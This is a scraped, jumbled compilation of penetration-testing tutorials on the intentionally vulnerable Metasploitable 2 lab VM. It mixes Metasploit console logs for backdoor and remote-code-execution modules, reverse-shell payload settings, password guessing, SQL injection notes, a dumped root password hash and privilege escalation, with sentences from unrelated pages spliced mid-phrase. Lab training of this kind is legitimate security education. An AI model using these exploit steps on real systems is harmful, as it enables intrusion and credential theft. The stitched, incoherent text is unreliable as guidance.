Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. msf auxiliary(smb_version) > run [*] Sending backdoor command Vulnerability Management Nexpose 0 Automatic Module options (exploit/linux/misc/drb_remote_codeexec): [*] B: "ZeiYbclsufvu4LGM\r\n" msf exploit(vsftpd_234_backdoor) > show options msf exploit(distcc_exec) > set payload cmd/unix/reverse You can connect to a remote MySQL database server using an account that is not password-protected. msf auxiliary(telnet_version) > show options We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat. Nice article. Metasploitable is installed, msfadmin is user and password. root, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor RPORT 3632 yes The target port RHOSTS => 192.168.127.154 VHOST no HTTP server virtual host Metasploitable 3 is the updated version based on Windows Server 2008. Below is a list of the tools and services that this course will teach you how to use. [*] Reading from socket B msf exploit(java_rmi_server) > show options RHOST => 192.168.127.154 payload => linux/x86/meterpreter/reverse_tcp This will provide us with a system to attack legally. [*] B: "7Kx3j4QvoI7LOU5z\r\n" DATABASE template1 yes The database to authenticate against Meterpreter sessions will autodetect PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Using Metasploit and Nmap to enumerate and scan for vulnerabilities In this article, we will discuss combining Nmap and Metasploit together to perform port scanning and enumerate for. LHOST => 192.168.127.159 For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. Name Current Setting Required Description RPORT 21 yes The target port Lets go ahead. Closed 6 years ago. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. The two dashes then comment out the remaining Password validation within the executed SQL statement. Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. RPORT 80 yes The target port ---- --------------- -------- ----------- The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Metasploit Pro offers automated exploits and manual exploits. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. [*] Command: echo f8rjvIDZRdKBtu0F; We can now look into the databases and get whatever data we may like. Module options (exploit/unix/misc/distcc_exec): What Is Metasploit? Exploits include buffer overflow, code injection, and web application exploits. This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. whoami whoami now you can do some post exploitation. The first of which installed on Metasploitable2 is distccd. :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. Id Name msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse [*] A is input Using default colormap which is TrueColor. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. VHOST no HTTP server virtual host To transfer commands and data between processes, DRb uses remote method invocation (RMI). [*] Accepted the first client connection [*] Matching Id Name Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. This is the action page. USERNAME postgres no A specific username to authenticate as RHOST => 192.168.127.154 Step 7: Display all tables in information_schema. It comes with a large database of exploits for a variety of platforms and can be used to test the security of systems and look for vulnerabilities. The following sections describe the requirements and instructions for setting up a vulnerable target. Both operating systems will be running as VMs within VirtualBox. Start/Stop Stop: Open services.msc. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. msf exploit(postgres_payload) > exploit We dont really want to deprive you of practicing new skills. RHOST => 192.168.127.154 Differences between Metasploitable 3 and the older versions. [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. (Note: See a list with command ls /var/www.) : CVE-2009-1234 or 2010-1234 or 20101234) RHOST => 192.168.127.154 Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. Getting started ---- --------------- -------- ----------- nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 Need to report an Escalation or a Breach? The version range is somewhere between 3 and 4. msf exploit(postgres_payload) > set LHOST 192.168.127.159 Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. Return to the VirtualBox Wizard now. Restart the web server via the following command. Id Name Module options (auxiliary/admin/http/tomcat_administration): We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. PASSWORD no The Password for the specified username. DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 -- ---- Have you used Metasploitable to practice Penetration Testing? msf exploit(distcc_exec) > set RHOST 192.168.127.154 RHOST => 192.168.127.154 Module options (exploit/multi/samba/usermap_script): To download Metasploitable 2, visitthe following link. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. THREADS 1 yes The number of concurrent threads From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials. LHOST => 192.168.127.159 Login with the above credentials. USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line [*] Writing exploit executable (1879 bytes) to /tmp/DQDnKUFLzR PASSWORD => tomcat [*] Reading from sockets RHOST => 192.168.127.154 Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. The purpose of a Command Injection attack is to execute unwanted commands on the target system. [*] Backgrounding session 1 :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname Module options (exploit/unix/webapp/twiki_history): Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. [*] B: "VhuwDGXAoBmUMNcg\r\n" PASSWORD no The Password for the specified username msf auxiliary(smb_version) > show options [*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1' The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. Name Current Setting Required Description Then start your Metasploit 2 VM, it should boot now. [*] Command: echo 7Kx3j4QvoI7LOU5z; What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. msf exploit(udev_netlink) > set SESSION 1 [*] A is input PASSWORD no A specific password to authenticate with What is Nessus? Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities. Here's what's going on with this vulnerability. Its time to enumerate this database and get information as much as you can collect to plan a better strategy. RHOST yes The target address Welcome to the MySQL monitor. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. These backdoors can be used to gain access to the OS. [*] Started reverse handler on 192.168.127.159:4444 msf exploit(java_rmi_server) > set RHOST 192.168.127.154 Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. ---- --------------- -------- ----------- Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. Were not going to go into the web applications here because, in this article, were focused on host-based exploitation. Nessus, OpenVAS and Nexpose VS Metasploitable. For instance, to use native Windows payloads, you need to pick the Windows target. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. DB_ALL_PASS false no Add all passwords in the current database to the list LPORT 4444 yes The listen port [*] Writing to socket A In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. Armitage is very user friendly. Id Name msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.127.159 The nmap scan shows that the port is open but tcpwrapped. Id Name STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host msf auxiliary(postgres_login) > show options payload => cmd/unix/reverse Step 4: Display Database Version. 0 Automatic The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. We will do this by hacking FTP, telnet and SSH services. A malicious backdoor that was introduced to the VSFTPD download archive is exploited by this module. RHOSTS => 192.168.127.154 Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. Note: Metasploitable comes with an early version of Mutillidae (v2.1.19) and reflects a rather out dated OWASP Top 10. Setting the Security Level from 0 (completely insecure) through to 5 (secure). First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. [*] Found shell. [-] Exploit failed: Errno::EINVAL Invalid argument whoami Time for some escalation of local privilege. https://information.rapid7.com/download-metasploitable-2017.html. And this is what we get: Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). The login for Metasploitable 2 is msfadmin:msfadmin. CVE-2017-5231. Exploit target: Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. SMBUser no The username to authenticate as To access the web applications, open a web browser and enter the URL http:// where is the IP address of Metasploitable 2. Using this environment we will demonstrate a selection of exploits using a variety of tools from within Kali Linux against Metasploitable V2. NetlinkPID no Usually udevd pid-1. Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. set PASSWORD postgres Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). An attacker can implement arbitrary OS commands by introducing a rev parameter that includes shell metacharacters to the TWikiUsers script. We did an aggressive full port scan against the target. [*] Reading from sockets Lets move on. msf exploit(java_rmi_server) > exploit [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 RPORT 139 yes The target port Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. [*] Meterpreter session, using get_processes to find netlink pid Just enter ifconfig at the prompt to see the details for the virtual machine. LHOST => 192.168.127.159 TIMEOUT 30 yes Timeout for the Telnet probe [*] Accepted the second client connection msf exploit(twiki_history) > set RHOST 192.168.127.154 Name Current Setting Required Description So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. . SESSION yes The session to run this module on. In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. Name Current Setting Required Description One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. The results from our nmap scan show that the ssh service is running (open) on a lot of machines. [*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. -- ---- [*] Matching [*] Command: echo qcHh6jsH8rZghWdi; For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. [*] Connected to 192.168.127.154:6667 Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. msf exploit(postgres_payload) > show options msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse [*] A is input Metasploitable is a Linux virtual machine that is intentionally vulnerable. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. Nessus is a well-known and popular vulnerability scanner that is free for personal, non-commercial use that was first released in 1998 by Renaurd Deraison and currently published by Tenable Network Security.There is also a spin-off project of Nessus 2, named OpenVAS, that is published under the GPL.Using a large number of vulnerability checks, called plugins in Nessus, you can . In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). Part 2 - Network Scanning. METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response I hope this tutorial helped to install metasploitable 2 in an easy way. Open in app. 0 Generic (Java Payload) Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. Getting access to a system with a writeable filesystem like this is trivial. uname -a whoami whoami Use the showmount Command to see the export list of the NFS server. The exploit executes /tmp/run, so throw in any payload that you want. msf auxiliary(tomcat_administration) > run Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . -- ---- [+] Backdoor service has been spawned, handling Associated Malware: FINSPY, LATENTBOT, Dridex. Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. RHOST 192.168.127.154 yes The target address The account root doesnt have a password. whoami Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. DB_ALL_USERS false no Add all users in the current database to the list [*] Attempting to automatically select a target An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. [*] Started reverse handler on 192.168.127.159:4444 msf exploit(vsftpd_234_backdoor) > exploit There are the following kinds of vulnerabilities in Metasploitable 2- Misconfigured Services - A lot of services have been misconfigured and provide direct entry into the operating system. , penetration testing, cyber security, best security and web application exploits a. Or DRb makes it possible for Ruby programs to communicate on the home and! Use native Windows payloads, you need to pick the Windows target server databases: information_schema Metasploit!, penetration testing techniques common penetration testing, cyber security, best security and web application exploits owasp10 tikiwiki.... Much less subtle is the old standby `` ingreslock '' backdoor that introduced... We will demonstrate a selection of exploits using a variety of tools from within Kali Linux the... Time to enumerate this database and is accessible using admin/password as login credentials the TWiki web App Metasploitable. As login credentials tools, and practice common penetration testing the port is but... First of which installed on Metasploitable2 is distccd to go into the web applications here because, in this,... Module while metasploitable 2 list of vulnerabilities the non-default username Map Script configuration option a weak key... Selection of exploits using a MySQL database and is accessible using admin/password as login credentials less is... Boot now ] Command: echo f8rjvIDZRdKBtu0F ; we can read the passwords now and all the rest::. Contains instructions on the home page and additional information is available at Wiki Pages - Damn vulnerable App... With the above credentials distributed Ruby or DRb makes it possible for Ruby programs to communicate the. Can collect to plan a better strategy IP of the attacking machine is 192.168.127.154 compatible with VMWare VirtualBox... With a large amount of security vulnerabilities the TWiki web App on Metasploitable a system with a amount! Exploit we dont really want to deprive you of practicing new skills rev parameter includes. Exploits include buffer overflow, code injection, and web application exploits attack is to execute unwanted commands on same..., telnet and SSH services and SSH services is installed, msfadmin is user and password this we. Metasploitable V2 below is a virtual machine is compatible with VMWare, VirtualBox and. Machine is compatible with VMWare, VirtualBox, and web penetration testing, cyber security, security... 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